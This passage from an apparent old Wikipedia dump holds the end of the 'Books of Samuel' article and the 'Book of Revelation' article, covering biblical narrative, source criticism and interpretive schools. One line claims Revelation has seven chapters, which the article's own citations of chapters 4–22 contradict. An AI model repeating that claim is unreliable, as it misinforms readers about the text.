*The '''[[Sheba (rebel)|Rebellion of Sheba]]''' (2 Samuel 19:42-20:22) - The people of Israel feel slighted that those of Judah were preferred by David to accompany him back to the throne, so a war of words breaks out between them. A man named Sheba sounds a horn rallying the people of Israel to him. David asks Amasa to summon the people of Judah to him, and go after Sheba. At ''the great stone'' in Gibeon, Amasa meets Joab and ''them'', and while asking how he is, Joab stabs Amasa to death, and drag the body to the side of the road. Joab leads the ammassed army of Judah against Sheba who has ammassed his own army of Israel at [[Abel Beth-maachah]]. Joab lays siege to the town, but a ''wise woman'' tells Joab of an ancient expression and that Joab is effectively trying to destroy ''Yahweh's inheritance''. Joab tells her they are only after Sheba, so she gets the townspeople to cut off Sheba's head and throw it over the wall to Joab. Joab then returns to Jerusalem and the rebellion ends.

;The appendix contains a fairly unorganised miscellany of information:
*''[[Gibeon avenged]]''' (2 Samuel 21:1-14) - A famine arises which David blames on Saul having put many of the Gibeonites to death. David asks the Gibeonites what he should do as atonement, and they ask to dismember seven men from among Saul's descendants on Yahweh's mountain. David gives seven of Sauls descendants to them, and they are dismembered. [[Rizpah]], the mother of two of them, uses a sackcloth to protect the remains from scavengers, and so David collects the bones of Saul, Jonathon, and those of the seven, and buries them at the tomb of Kish. The famine consequently ends.

*The '''[[Rephaim]]''' (2 Samuel 21:15-22) There are four battles against the Philistines, in each one a Rephaim being killed. [[Goliath]] is one of these, and is killed by [[Elhanan]]. 

*The '''[[Song of David]]''' (2 Samuel 22) - a psalm, which also constitutes Psalm 18, with minor variations, and involves an obscure reference to leaping over a wall, and another to God riding a Cherub.

*The '''[[Last words of David]]''' (2 Samuel 23:1-7) - an enigmatic poem purporting to be David's last words, but lacking context, ending abruptly, and occurring some way before David's death.

*The '''[[Exploits of the Three and the Thirty]]''' (2 Samuel 23:8-24a) - Several warriors of david are listed, with a gloss covering some of their deeds. A significance is attached to ''the Thirty'' and ''the Three'', all the warriors being in at least one of these groups, with ''the Three'' being the more significant. The last part of the text is presumed lost, since after naming Ashahel it abruptly breaks off.

*The '''[[The Thirty]]''' (2 Samuel 23:24b-39) - a list of ''the Thirty''. Despite the name of the group, 37 people are listed, and it is made explicit that there are 37. As 23:23-24 is ''...David put him in command of his bodyguard. Ashahel, brother of Joab. Among the thirty....''., the middle of verse 23:24 (between the words ''Joab'' and ''Among'') is generally presumed to have been lost.

*The '''[[Census of David]]''' (2 Samuel 24:1-25). God makes David angry with the people, so David orders a [[census]]. The census makes God angry, because then God '''and''' David would know how many people there were, so Gad, the prophet, tells David that God is going to punish him, but will give him the choice of 3 punishments. David chooses the pestilence option, and so [[angel of death|an angel]] duly goes out and starts killing people. When the angel approaches Jerusalem, God repents, and halts it, so David buys the land where the angel halted from its owner, [[Araunah]], and builds an altar upon it.

==Authorship==
Traditionally, the authors of the books of Samuel have been held to be [[Samuel]], [[Gad]], and [[Nathan]]. Samuel is believed to have penned the first twenty-four chapters of the first book. Gad, the companion of David (1 Sam. 22:5), is believed to have continued the history thus commenced; and Nathan is believed to have completed it, probably arranging the whole in the form in which we now have it ([[Books of Chronicles|1 Chronicles]] 29:29).  

However, this theory is not supported by most modern scholars, who consider that the text is clearly not the work of men contemporary with the events chronicled. Even the Book of Chronicles explicitly refers to multiple source texts for the information, naming several. Roughly in the order they are believed to have been created historically, the sources that modern scholarship considers to have been interlaced to construct 1 &amp; 2 Samuel are:
*''jerusalem source'': a fairly brief source briefly discussing David conquering Jerusalem from the Jebusites
*''republican source'': a source with an anti-monarchial bias. This source first describes Samuel as decisively ridding the people of the philistines, and begrudgingly appointing an individual, chosen by God, to be king, namely Saul. David is described as someone renowned for his skill at playing the harp, and consequently summoned to Saul's court to calm his moods. Saul's son, Jonathon, takes a shine to David, which [[David and Jonathan|many commentators view as romantic]], and later acts as his protector against Saul's more violent intentions. At a later point, having been deserted by God, on the eve of battle, Saul find himself consulting the Witch of Endor, only to be condemned for doing so by Samuel's ghost, and told he and his sons will be killed. David is heartbroken on discovering the death of Jonathon, tearing his clothes apart.
*''[[court history of David]]'' a very continuous source covering the history of David's kingship, and believed to be the source going by this name in the Book of Chronicles. This source continuously describes Israel and Judah as two separate kingdoms, with David originally being king of Judah only. David conquers Israel, but Israel rebels under Absalom, identified as David's son, and David is forced into exile. Israel's forces attack David while he is in exile, but he wins, and Judah accompanies him back to Jerusalem. Israel makes another rebellion, but David lays siege to a city housing the leader, and wins.
*''sanctuaries source'': a short source which interrupts the narrative in order to recount an episode concerning the capture of the Ark by the Philistines, and their subsequent voluntary return of it. The source demonstrates a bias toward the viewpoint of the Kingdom of Israel.
*''monarchial source'': a source with a pro-monarchial bias and covering many of the same details as the ''republican source''. This source begins with the divinely appointed birth of Samuel (many scholars think it originally referred to Saul, see below). It then describes Saul as leading a war against the Ammonites and hence being chosen by the people to be a king, leading them against the Philistines. David is described as a shepherd boy arriving at the battlefield to aid his brothers, and is overheard by Saul, leading to David challenging Goliath and defeating the Philistines. David's warrior credentials lead to women falling in love with him, including Michal, Saul's daughter, who later acts to protect David against Saul. David eventually gains two new wives as a result of threatening to raid a village, and Michal is redistributed to another husband. At a later point, David finds himself seeking sanctuary amongst the Philistine army and facing the Israelites as an enemy. David is incensed that anyone should have killed Saul, even as an act of mercy, since Saul was anointed by Samuel, and has the individual responsible killed.
*''redactions'': additions by the redactor to harmonise the sources together; many of the uncertain passages may be part of this
*''various'': several short sources, none of which have much connection to each other, and are fairly independent of the rest of the text. Many are poems or pure lists.

The relationship between these sources is uncertain, though it is generally agreed that many of the various shorter sources were embedded into the larger ones before these were in turn [[redaction|redacted]] together. Though a slim majority of scholars disagree, many academics have proposed that several of the sources are continuations of others, such as the jerusalem source, and royal source being in some way continuous with one another, and the prophetic source and sanctuaries source being likewise continuous with each other. Some, most recently [[Richard Elliott Friedman]], have proposed that the sources were originally parts of the same texts as the [[Elohist]], [[Yahwist]], and possibly [[Priestly source|Priestly]], sources of the [[Torah]], with the ''court history of David'' being considered part of the Yahwist text. What is definitely considered likely is that the [[deuteronomist]] is the one which redacted together these sources into the Books of Samuel. 

Currently, the verses attributed to these sources are:
*''jerusalem source'': 2 Samuel 5:6-16, 6:9-20
*''republican source'': 1 Samuel 9:1-10:16, 11:1-11, 11:15, 13:1-14:52, 16:14-23, 18:6-11, 18:20-27, 19:11-21:1, 21:11-16, 25:1b-25:43, 28:3-25, 31:1-13, 2 Samuel 1:1-5, 1:8-12, 2:1-3:1, 3:6-33a, 3:34b-5:2, 5:17-25, 21:15-22
*''court history of David'': 2 Samuel 9:1-20:26, 1 Kings 1:1-2:46
*''sanctuaries source'': 1 Samuel 4:1-7:1
*''monarchial source'': 1 Samuel 1:1-3:21, 8:1-22. 10:17-24, 17:1-18:5, 18:12-19, 18:28-19:10, 21:2-10, 22:1-23, 26:1-28:2, 29:1-30:31, 2 Samuel 1:6-7, 1:13-16
*''redactions'': 1 Samuel 2:27-36, 7:2b-16, 11:12-14, 12:1-25, 15:1-35, 2 Samuel 7:1-29
*''various'': 2 Samuel 1:17-27; 3:2-5; 3:33b-34a; 22:1-51; 23:1-7; 23:8-24a; 23:24b-39; 24:1-25 
*''uncertain'': 1 Samuel 7:2a, 7:17, 10:25-27, 16:1-13, 23:1-25:1a, 2 Samuel 6:1-8, 6:21-23, 8:1-18, 21:1-14

Within these, there are sometimes what appear to be very minor redactions. For example, 1 Samuel 1:20 explains that Samuel is so called because his mother had ''asked'' Yahweh for him; however ''Samuel'' means ''name of God'', and it is ''Saul'' that means ''asked''; this has suggested to many biblical critics that the narrative originally concerned Saul at this point, a later editor substituting Samuel's name. There are also several points in the [[masoretic text]] that appear more obviously corrupted in comparison to the [[septuagint]] version.

==Tribes and peoples==
Although most traditional interpretations of Jewish history view the ''Israelites'' as the ancestors of both the Kingdom of Israel and that of Judah, which arose only after David's rule, and ''Hebrews'' as an alternative name for them, the text makes a strong distinction between ''Hebrews'', ''Judahites'', and ''Israelites'':
*''Israelites'' consistently refers to Saul's forces. It also is used to refer to the supporters of the rebellions against David's reign, in contrast to his supportes.
*''Judahites'' consistently refers to David's supporters during the rebellions against his rule, in contrast to the rebels.
*''Hebrews'' is consistently used to designate a group that are separate and distinct to the ''Israelites'' and ''Judahites'', and who sometimes take the side of the Philistines against those of Israel and Judah. It is weakly associated with Jonathan initially, and then more strongly with David's band of outlaws.

An additional curiosity is that none of the three terms are ever described as representing groups which were ever part of one another, suggesting that Israel, Judah, and the Hebrews, had always been three distinct groups, rather than divisions that arose from a once united peoples.

When referring to the northern tribes of Israel, [[Gilead]] and [[Jezreel]] are listed amongst three other tribes, rather than being treated strictly as locations. In accordance with evidence of this kind elsewhere, all attributed by scholars to the earliest sources, such as in the [[Song of Deborah]], some scholars have concluded that the tribal system wasn't rigidly the 12 tribes now referred to as '''the''' [[tribes of Israel]], but actually evolved over a period of time. The different tribal structures being visible by virtue of the different dates of sources hypothesised under textual criticism. The four following aspects are usually amongst such proposals:
*Gilead, Jezreel, and Joseph were originally three tribes in the confederation
*Jezreel later split into [[Zebulon]] and [[Issachar]]
*Gilead later split into [[Machir]], [[Gad]], and [[Reuben]]
*Machir later merged with part of Joseph to form [[Manasseh]], while the other part split off to become [[Ephraim]]
==In Islam==
The [[Qur'an]] also contains elements of the books of Samuel. The stories of David and Goliath and the appointment of King Saul are told (see [[Similarities between the Bible and the Qur'an]]).

==External links==
*[[Masoretic text]]:
** [http://www.mechon-mamre.org/p/pt/pt08a01.htm &amp;#1513;&amp;#1502;&amp;#1493;&amp;#1488;&amp;#1500; &amp;#1488; ''Shmuel Aleph'' - Samuel A] ([[Hebrew language|Hebrew]] - English at Mechon-Mamre.org)
** [http://www.mechon-mamre.org/p/pt/pt08b01.htm &amp;#1513;&amp;#1502;&amp;#1493;&amp;#1488;&amp;#1500; &amp;#1489; ''Shmuel Bet'' - Samuel B] ([[Hebrew language|Hebrew]] - English at Mechon-Mamre.org)
*[[Judaism|Jewish]] translations:
** [http://www.mechon-mamre.org/e/et/et08a01.htm 1 Samuel at Mechon-Mamre] (Jewish Publication Society translation)
** [http://www.mechon-mamre.org/e/et/et08b01.htm 2 Samuel at Mechon-Mamre] (Jewish Publication Society translation)
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15751 Shmuel I - Samuel I (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org 
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15752 Shmuel II - Samuel II (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org 
*[[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/09_1samuel.htm ''1 Samuel'' at The Great Books] (New Revised Standard Version)
** [http://www.anova.org/sev/htm/hb/10_2samuel.htm ''2 Samuel'' at The Great Books] (New Revised Standard Version)
** {{biblegateway|1|Samuel}}
** {{biblegateway|2|Samuel}}
** [http://wikisource.org/wiki/Bible%2C_English%2C_King_James%2C_1_Samuel ''1 Samuel'' at Wikisource] (Authorised King James Version)
** [http://wikisource.org/wiki/Bible%2C_English%2C_King_James%2C_2_Samuel ''2 Samuel'' at Wikisource] (Authorised King James Version)

*Related article:
** [http://www.jewishencyclopedia.com/view.jsp?artid=131&amp;letter=S&amp;search=Samuel ''Books of Samuel'' article] (Jewish Encyclopedia)

{{eastons}}

[[Category:Nevi'im|Samuel, Books of]]
[[Category:Old Testament books|Samuel]]

[[zh-min-nan:Sat-bó·-jíⁿ-kì]]
[[ca:Llibres Samuel]]
[[cs:1. kniha Samuelova]]
[[de:1. Buch Samuel]]
[[eo:Samuel (libro unua)]]
[[fr:Premier livre de Samuel]]
[[ko:사무엘 상]]
[[id:1 Samuel]]
[[he:ספר שמואל]]
[[jv:I Samuel]]
[[nl:I en II Samuel]]
[[ja:サムエル記]]
[[ru:Книга Царств]]
[[sk:Knihy Samuelove]]
[[fi:Ensimmäinen Samuelin kirja]]
[[sv:Första Samuelsboken]]
[[zh:撒母耳记]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Revelation</title>
    <id>4379</id>
    <revision>
      <id>42071542</id>
      <timestamp>2006-03-03T16:57:24Z</timestamp>
      <contributor>
        <username>Delta x</username>
        <id>974625</id>
      </contributor>
      <comment>/* External links */ lks to Dave  Armstrong and minor format</comment>
      <text xml:space="preserve">{{otheruses}}

[[Image:Saint John on Patmos.jpg|thumb|left|Visions [[John the Evangelist]], as depicted in the ''[[Très Riches Heures du Duc de Berry]]''. Four [[seraphim]] surround the throne; the [[twenty-four elders]] sit to the left and right. They are dressed in white robes, representing [[purity|pureness]], and have [[Crown (headgear)|crown]]s of [[gold]] on their heads, denoting [[wiktionary:royalty|royalty]] and [[honor]] (Rev 4:4). The book of Revelation does not specifically identify who the twenty-four elders are, though it is thought to be the twelve sons of [[Jacob]] and the twelve [[Disciples of Jesus]].]]
{{Books of the New Testament}}

The book of '''Revelation''' or '''The Apocalypse of John''' ({{IPA2|əˈpɑkəlɪps}}, from [[Greek language|Greek]] ''{{polytonic|ἀποκάλυψις}}'' ἀπο or ''apo''- [&quot;away from&quot;] and κάλυψις or ''kaluptein'' [&quot;cover&quot;]&amp;mdash;meaning literally &quot;to pull the cover away from&quot;)[http://bible.crosswalk.com/Lexicons/Greek/grk.cgi?number=602&amp;version=kjv] is the last [[Biblical canon|canonical book]] of the [[New Testament]] in the [[Bible]]. It is the only biblical book that is wholly composed of [[apocalyptic literature]]. The book is frequently called by the incorrect name Book of  Revelations. However, the actual title of the book is '''The Revelation of Jesus Christ ... unto his servant John''', as it is rendered in the first verse.{{ref|KJV}} It was one revelation given to John, not multiple revelations.

After a short introduction (ch. 1:1–10), it contains an account of the author, who identifies himself as John, of two visions that he received on the isle of [[Patmos]]. The first vision (chs. 1:11–3:22), related by &quot;one like unto the Son of man, clothed with a garment down to the foot, and girt about the paps with a golden girdle&quot;, speaking with &quot;a great voice, as of a trumpet&quot;, are statements addressed to the [[seven churches of Asia]]. The second vision comprising the rest of the book (chs. 4–22) begins with &quot;a door … opened in heaven&quot; and describes the [[End of the world (religion)|end of the world]]&amp;mdash;involving the final rebellion by [[Satan]] at [[Armageddon]], [[God|God's]] final defeat of Satan, and the restoration of [[peace]] to the world. 

Revelation is considered one of the most controversial and difficult books of the Bible, with many diverse interpretations of the meanings of the various names and events in the account. [[Protestant]] founder [[Martin Luther]] considered Revelation to be &quot;neither apostolic nor prophetic&quot; and stated that &quot;Christ is neither taught nor known in it&quot; [http://www.bible-researcher.com/antilegomena.html].

In the [[4th century]], [[John Chrysostom|St. John Chrysostom]] and other [[bishop|bishops]] argued against including this book in the New Testament [[Biblical canon|canon]], chiefly because of the difficulties of interpreting it and the danger for abuse. Christians in [[Syria]] also reject it because of the [[Montanism|Montanists]]' heavy reliance on it. In the [[9th century]], it was included with the ''[[Apocalypse of Peter]]'' among &quot;disputed&quot; books in the ''Stichometry'' of [[Saint Nicephorus|St. Nicephorus]], [[Patriarch of Constantinople]]. In the end it was included in the accepted canon, although it remains the only book of the New Testament that is not read within the [[Divine Liturgy]] of the [[Eastern Orthodox Church]].

==Authorship, Audience, and Date==
The author of Revelation identifies himself several times as &quot;John&quot; (1:4, 9; 22:8).  The author also states that he was in exile on the [[Patmos|island of Patmos]] when he received his first vision (1:9; 4:1&amp;ndash;2).  As a result the author of Revelation is referred to as [[John of Patmos]]. 

Traditional views hold that [[John of Patmos]] was the same person as [[John the Apostle]], who is also considered to be the [[John the Evangelist|author]] of the [[Gospel of John]]. Those in favor of a single common author point to similarities between the Gospel and Revelation. For example, both works frequently refer to Jesus as a lamb or as a shepherd. 

However, others, especially more recently, believe that [[John the Apostle]], [[John the Evangelist]], and [[John of Patmos]] refer to at least two separate individuals (see [[Authorship of the Johannine works]] for a full discussion). Several lines of evidence suggest that [[John of Patmos]] wrote only Revelation, not the [[Gospel of John]] or the [[Epistles of John]].  Revelation and the Gospel of John are very dissimilar in many ways.  For one, the author of Revelation explicitly identifies himself as John several times, but the author of The Gospel of John remains anonymous, never identifying himself directly. The theology of the Gospel is markedly different from that of Revelation.  While both works liken Jesus to a lamb, they consistently use different words for lamb&amp;mdash;the Gospel uses &quot;amnos&quot;, Revelation uses &quot;arnion&quot;. Lastly, the Gospel is written in nearly flawless Greek, but Revelation contains grammatical errors and stylistic abnormalities which indicate its author may not have been as familiar with the Greek language as the Gospel's author. Proponents of the traditional view explain these differences by the collaboration of the author with different scribes.

Some theologians also argue that the [[Gospel of John]] contains a realized [[Christian eschatology|eschatology]] which contradicts the futurist [[Christian eschatology|eschatology]] contained in Revelation (e.g., chs. 21&amp;ndash;22).

John explicitly addresses Revelation to the [[Seven Churches of Asia|seven Christian churches in Asia]]: [[Ephesus]], [[Smyrna]], [[Pergamos]], [[Thyatira]], [[Sardis]], [[Alasehir|Philadelphia]] and [[Laodicea]] (1:4, 11).  All of these sites are located in what is now [[Turkey]].  

Traditionally, the date of the writing of this book has generally been fixed at the year [[Anno Domini|AD]] [[96]], in the reign of [[Domitian]]. Others contend for an earlier date, AD [[68]] or [[69]], in the reign of [[Nero]] or shortly thereafter. Those who are in favour of the later date appeal to the external testimony of the Christian father [[Irenaeus]] (d. AD [[185]]), who received information relative to this book from those who had seen John face to face. He says that the Apocalypse &quot;was seen no very long time since, but almost in our day, towards the end of Domitian's reign&quot; (A.H. 5.30.3). Also internal evidence has been used to place it under Domitian, who according to [[Eusebius of Caesarea|Eusebius]] had started the [[Persecution of Christians|persecution]] referred to in the book. However, recent scholars dispute that the book is situated in a time of ongoing persecution and have also doubted the reality of a large-scale Domitian persecution, as there is no reference to such a persecution before Eusebius.

==Chronology of Revelation==
{{Main|Chronology of Revelation}}
Revelation is divided into seven chapters, with the [[7|number seven]] also appearing frequently as a metaphor within the Book of Revelation.  The chapters of Revelation present a series of events, full of imagery and metaphor, which detail the chronology of God's judgement on the world.

Exact interpretations of the Chronology of Revelation vary extensively.  Literal bibical scholars often see the events portrayed as a &quot;laundry list&quot;, to be checked off one by one as the time of Revelation grows near.  Others feel that the many images in Revelation are figurative or perhaps even commentaries on the world during the time when Revelation was written.

==Major schools of interpretation==
There are several schools of thought concerned with how the symbolism, imagery, and contents of the book of Revelation should be interpreted.

* The ''Biblical prophecy'' school of thought holds that the contents of Revelation, especially when interpreted in conjunction with the [[Book of Daniel]] and other eschatological sections of the [[Bible]], constitute a [[prophecy]] of the [[end times]]. This school can be further subdivided into the ''[[preterism|preterist]]'' view, which sees the book concerned with [[1st-century]] events; the ''futurist'' view, which applies all the events in the book into the end times; and the ''historicist'' view, which regards the book as spanning history from the first century through the [[second coming]].
* A second ''Biblical Prophecy'' school of thought exists, believing that Revelation is a rewriting of the various prophetic books of the Old Testament and that it was originally located at the end of the Old Testament with several other, since removed, prophetic books. This school also maintains that many of these same prophetic books are mere rewrites of each other (in the same way that Matthew, Mark, and Luke are).
* The ''historical-critical'' approach, which became dominant among critical scholars of religion since the end of the [[18th century]], attempts to understand Revelation within the genre of [[apocalyptic literature]], which was popular in both Jewish and Christian tradition since the Babylonian [[diaspora]], following the pattern of the [[Book of Daniel]]. There is further information on these topics in the entries on [[higher criticism]] and [[apocalyptic literature]].
* Recently, ''aesthetic'' and ''literary'' modes of interpretation focus on Revelation as a work of art and imagination, viewing the imagery as symbolic depictions of timeless truths and the victory of good over evil.
* The [[Ebionites]] and other [[Essene]] and [[Primitive churches]] regard Revelation as a description of the Destruction of The Temple in AD 66 and the subsequent Imperial Roman [[persecution of Jews]] and [[Persecution of Christians|Christians]].
* The &quot;Patristic Interpretation&quot;, or the view held by [[Augustine of Hippo|St. Augustine]], [[Jerome]], and other early [[Church Fathers]], views Revelation as an attempt to describe a spiritual reality and heavenly worship and compare it to the liturgy of the Christian Church.  Although all but forgotten today, this interpretation is alluded to in the [[Catechism of the Catholic Church]] and has been avidly promoted by modern theologians such as [[Scott Hahn]].

These schools of thought are not mutually exclusive, and many Christians adopt a combination of these approaches in the manner they find most meaningful. However, certain tendencies may be observed. The Biblical Prophecy school of thought is popular among [[Protestant]] [[fundamentalism|fundamentalists]], other [[evangelicalism|evangelicals]] (many of whom also find value in the other approaches), and amongst [[Rastafari movement|Rastafarians]], who interpret the book very differently from fundamentalist Christians but definitely belong to the Biblical Prophecy school. (Rastafarians believe [[Haile Selassie I of Ethiopia|Haile Selassie I]] to be the [[Messiah]] and [[God]] [[incarnate]].) Members of more mainline and liberal churches tend to prefer the historical-critical and aesthetic approaches. Moreover, [[Roman Catholic Church|Roman]] and [[Eastern Orthodoxy|Orthodox]] churches have delimited their own specific positions on Revelation.

==Interpretative Views of Revelation as Biblical Prophecy==
===The Preterist View===
The view of [[Preterism]] holds that the contents of Revelation constitute a prophecy of events that were fulfilled in the [[1st century]]. This view depends critically on an early date of Revelation, circa AD [[68]], since any later date makes the &quot;prophecy&quot; postdate the events prophesied. Even accepting that date leaves a narrow margin of one to two years before the fulfillment occurs. Preterist interpretations generally identify Jerusalem as the persecutor of the Church, &quot;Babylon&quot;, the &quot;Mother of Harlots&quot;, etc. They see Armageddon as God's judgment on the Jews, carried out by the [[Military history of the Roman Empire|Roman army]], which is identified as &quot;the beast&quot;. Some preterists see the second half of Revelation as changing focus to Rome, its persecution of Christians, and the fall of the [[Roman Empire]]. It sees the Revelation being fulfilled in AD 70, thereby bringing the full presence of God to dwell with all humanity. 

===The Futurist View===
The futurist view assigns all of the prophecy to some future time, shortly before the [[Second Coming|second coming]]. Futurist interpretations generally predict a [[tribulation|Great Tribulation]], a relatively short period of time when believers will experience worldwide persecution and be purified and strengthened by it, and a [[rapture]], whereby all true Christians are taken from Earth by God into [[Heaven]]. [[Dispensationalism|Pretribulationist]]s believe that all Christians then alive will be taken bodily up to Heaven before the Tribulation begins. Some variants of this interpretation portray Israeli Jews as collaborators with the [[Antichrist]]; well-known futurist [[Pat Robertson]] was sharply criticized for actually stating that &quot;The Antichrist is probably a Jew alive in Israel today.&quot; [[Middle Tribulation Rapture|Midtribulationist]]s believe that the rapture of the faithful will occur halfway through the tribulation, after it begins but before the worst part of it occurs. [[Post Tribulation Rapture|Posttribulationist]]s believe that Christians will not be taken up into Heaven until Christ returns at the end of the Tribulation.

The futurist view was first proposed by two Catholic writers, [[Lacunza]] and [[Ribera]]. Lacunza wrote under the pen name &quot;Ben Ezra&quot;, and his work was banned by the Catholic Church. It has grown in popularity in the 19th and 20th centuries, so that today it is probably most readily recognized. Books about the &quot;[[rapture]]&quot; by authors like [[Hal Lindsey]], and the more recent [[Left Behind]] novels (by[[Jerry Jenkins]] and [[Tim LaHaye]]) and movies, have done much to popularize this school of thought.

The [[Rasta]]farians hold a futurist view of the book of Revelation, relating it both to 20th-century events such as the crowning of [[Ethiopia]]n Emperor [[Haile Selassie]] and the [[Second Italo-Ethiopian War]], and also to future events such as the second coming of Selassie on the day of judgment.

===The Historicist View ===
The historicist view regards the prophecy as spanning the time from the end of the first century through the second coming of Christ.

Politically, historicist interpretations apply the symbols of Revelation to the gradual division and collapse of the [[Roman Empire]], the emergence of a divided Europe in the West and a Muslim empire in the East, and the collapse of the Eastern Empire while Europe attempts to reunite and recreate the Roman Empire.

Ecclesiastically, historicist interpretations see Revelation as teaching that the Church would expand, despite persecution, until it &quot;conquered&quot; the whole world&amp;mdash;but in the process, would gradually evolve into an [[apostate]] system within which true Christians would be a persecuted minority. The apostate Church is associated with the symbols of the &quot;Mother of Harlots&quot; and with &quot;Babylon&quot;. It is seen as an &quot;Antichrist system&quot; which exists for much of history rather than expecting a single &quot;Antichrist&quot; in the last days, as futurist interpretations do.

According to historicist interpretations, the [[second coming]] of Christ occurs about the time that a partly reunited Europe starts to wage war against Israel. This view is held mainly by [[Fundamentalist Christianity|Fundamentalist]] Protestant Christians. The exact constitution of this [[confederation|confederacy]] differs between interpretations: in some it is mainly composed of [[Eastern Europe]]an countries, notably [[Russia]]; in others, [[Western Europe]]an; some include [[United Kingdom|Britain]], while others suggest that Britain and former [[Commonwealth of Nations|Commonwealth]] nations will oppose the confederacy. In all historicist interpretations, Christ defeats this confederacy, rescues Israel from certain destruction, judges apostate Christianity and vindicates the true believers, and sets up a kingdom on earth.

The earliest Christian writers adopted a historicist viewpoint, though at such an early date, the distinction between historicist and futurist views was less pronounced. Historicist interpretations tend to be [[millenarian]], emphasizing the literal reign of Christ on earth, and as that doctrine receded in importance, so too did the historicist focus in interpretation. Today, historicist interpretations are favored in the most ardently millenarian sects.

Many Protestant writers today use this school of interpretation as the foundation for an anti-Catholic polemic, but it should be noted that such is not an inherent property of historical interpretations. Many Catholic writers in the fourth and fifth centuries applied the notion of future apostasy to their own church, in various ways. Some argued that an apostasy would arise within the church. Others argued that this had already happened, and cited one or another sect which arose over some theological dispute. What differs between interpretations is the identity of the [[apostasy]].

===The Spiritual or Idealist View===
The Spiritual view (also called Idealist by some writers) does not see the book of Revelation as predicting specific events in history.  Rather it sees the visions as expressing eternal spiritual truths that find expression throughout history.  Only in the last few chapters are specifically predictive eschatological issues taken up.

===The Catholic &amp; Eastern Orthodox View===
[[Eastern Orthodoxy]] has an interpretation that does not fit well into any of the above classifications. It treats the text as simultaneously describing contemporaneous events and as prophecy of events to come, for which the contemporaneous events were a form of foreshadow. It rejects attempts to determine, before the fact, if the events of Revelation are occurring by mapping them onto present-day events, taking to heart the Scriptural warning against those who proclaim &quot;He is here!&quot; prematurely. Instead, the book is seen as a warning to be spiritually and morally ready for the end times, whenever they may come (&quot;as a thief in the night&quot;), but they will come at the time of [[God]]'s choosing, not something that can be precipitated nor trivially deduced by mortals.

== Historical-Critical Interpretation ==
The historical-critical interpretation takes as [[axiom]]atic some qualities that would be considered commonplace in a non-Christian or non-Rastafarian context, first of all that Revelation is a ''text'', which is embodied and transmitted in manuscripts, which have their own histories. Such texts are subject to changes, such as miscopying, repetition of lines already entered, excision, interpolation or emendation. Motivations for such changes run the whole gamut of human motivations, and need also to be assessed in their historical context.

The acceptance of Revelation into the [[Biblical canon|canon]] is itself the result of a historical process, essentially no different from the career of other texts. The eventual exclusion of other contemporary apocalyptic literature from the canon may throw light on the unfolding historical processes of what was officially considered orthodox, what was heterodox, what was even heretical.

The historical-critical interpretation cannot address two aspects of Revelation. It is not prepared to discuss aspects of divine inspiration of the original text, nor can it assess the book's relevance to the modern world. Interpretation of meanings and imagery is limited to what the historical author intended and what his contemporary audience inferred. Thus, the symbolism of Revelation is to be understood entirely within its historical literary and social context. Critics study the conventions of [[apocalyptic literature]] and events of the [[1st century]] to make sense of what the author may have intended.

Nevertheless, many interpretative questions remain: Is the structure of the book linear, resumptive, or thematic? How does the imagery relate to historical events? Did the author intend one or multiple meanings in the text?  The plurality of answers to these (and other) questions is plain to see both from the text of this article and scholarly opinion.  Historical-criticism does not sit well within this plurality, but contemporary approaches to biblical texts, notably the literary-critical method, revel in this uncertainty.  Different questions are asked, and as a result, the focus shifts from author to reader.  What does it matter who wrote Revelation?  Why can't the structure be linear, resumptive ''and'' thematic simultaneously?  What stops the imagery relating to just 1st-century events and not 21st-century events as well?  Fundamentally, what stops Revelation having more than one valid meaning?  (For more related information, see [[Literary criticism]], but see also [[Historical-grammatical]] hermeneutics.)

==Footnotes==
# {{note|KJV}} &quot;The Revelation of Jesus Christ, which God gave unto him, to shew unto his servants things which must shortly come to pass; and he sent and signified it by his angel unto his servant John...&quot; (Rev 1:1 [[King James Version of the Bible|KJV]])

==External links==
Online translations of the [[book of Revelation ]]:
*{{biblegateway||Revelation}}
*[http://www.earlychristianwritings.com/revelation.html Early Christian Writings:] Apocalypse of John: text, introduction, context
*[http://www.newadvent.org/cathen/01594b.htm Apocalypse, Book of] - Article from the Catholic Encyclopedia
*[http://catholic-resources.org/Bible/index.html#Revelation Book of Revelation: Outlines], analyzing the literary structure.
*The crushing of Satan '''under the feet of the Roman Church'''. From [http://www.geocities.com/adam_todm/B-1.htm The Roman Catholic Church: Human Invention or Divine Institution?] by Adam S. Miller. Note: On the sensitive subject of salvation &quot;outside&quot; the church raised in this article, please see the following: [http://ic.net/~erasmus/RAZ419.HTM Ecumenism and Salvation]; [[Extra Ecclesiam nulla salus]]; [http://wesley.nnu.edu/john_wesley/letters/1749b.htm Letter to a Roman Catholic, July 18, 1749.] by [[John Wesley]].
*[http://www.scripturecatholic.com/the_eucharist.html#eucharist-IIf The Book of Revelation and the Holy Mass] by John Salza. cf. [http://www.christusrex.org/www1/CDHN/paschal2.html Catechism of the Catholic Church]; [http://bible.crosswalk.com/Lexicons/Greek/grk.cgi?number=2727&amp;version=kjv KATECHEO]; [http://www.m-w.com/dictionary/catechizing catechize].
*[http://flyservers.registerfly.com/members5/newtorah.org/heavenly-liturgy.html The Heavenly Liturgy] cf. [http://bible.crosswalk.com/OnlineStudyBible/bible.cgi?word=%22continual+burnt+offering%22&amp;section=0&amp;version=kjv&amp;new=1&amp;oq=continual The &quot;continual burnt offerings&quot;] and the Hebrew word [http://bible.crosswalk.com/Lexicons/Hebrew/heb.cgi?number=08548&amp;version=kjv '''Tamiyd'''], for the Old Testament concept of a &quot;continual&quot; or &quot;perpetual&quot; sacrifice; The better &quot;sacrifices&quot; of [http://bible.crosswalk.com/OnlineStudyBible/bible.cgi?passage=heb+9&amp;version=kjv&amp;showtools=1 Hebrews 9:23]; [http://bible.crosswalk.com/Lexicons/Greek/grk.cgi?number=3646&amp;version=kjv Holokautoma]; [http://www.m-w.com/dictionary/holocaust Holocaust]; [http://bible.crosswalk.com/Lexicons/Greek/grk.cgi?number=3008&amp;version=kjv Leitourgeo] [http://www.m-w.com/dictionary/liturgy Liturgy]
*[http://adishakti.org/book_of_revelation.htm Book of Revelation study at adishakti.org]
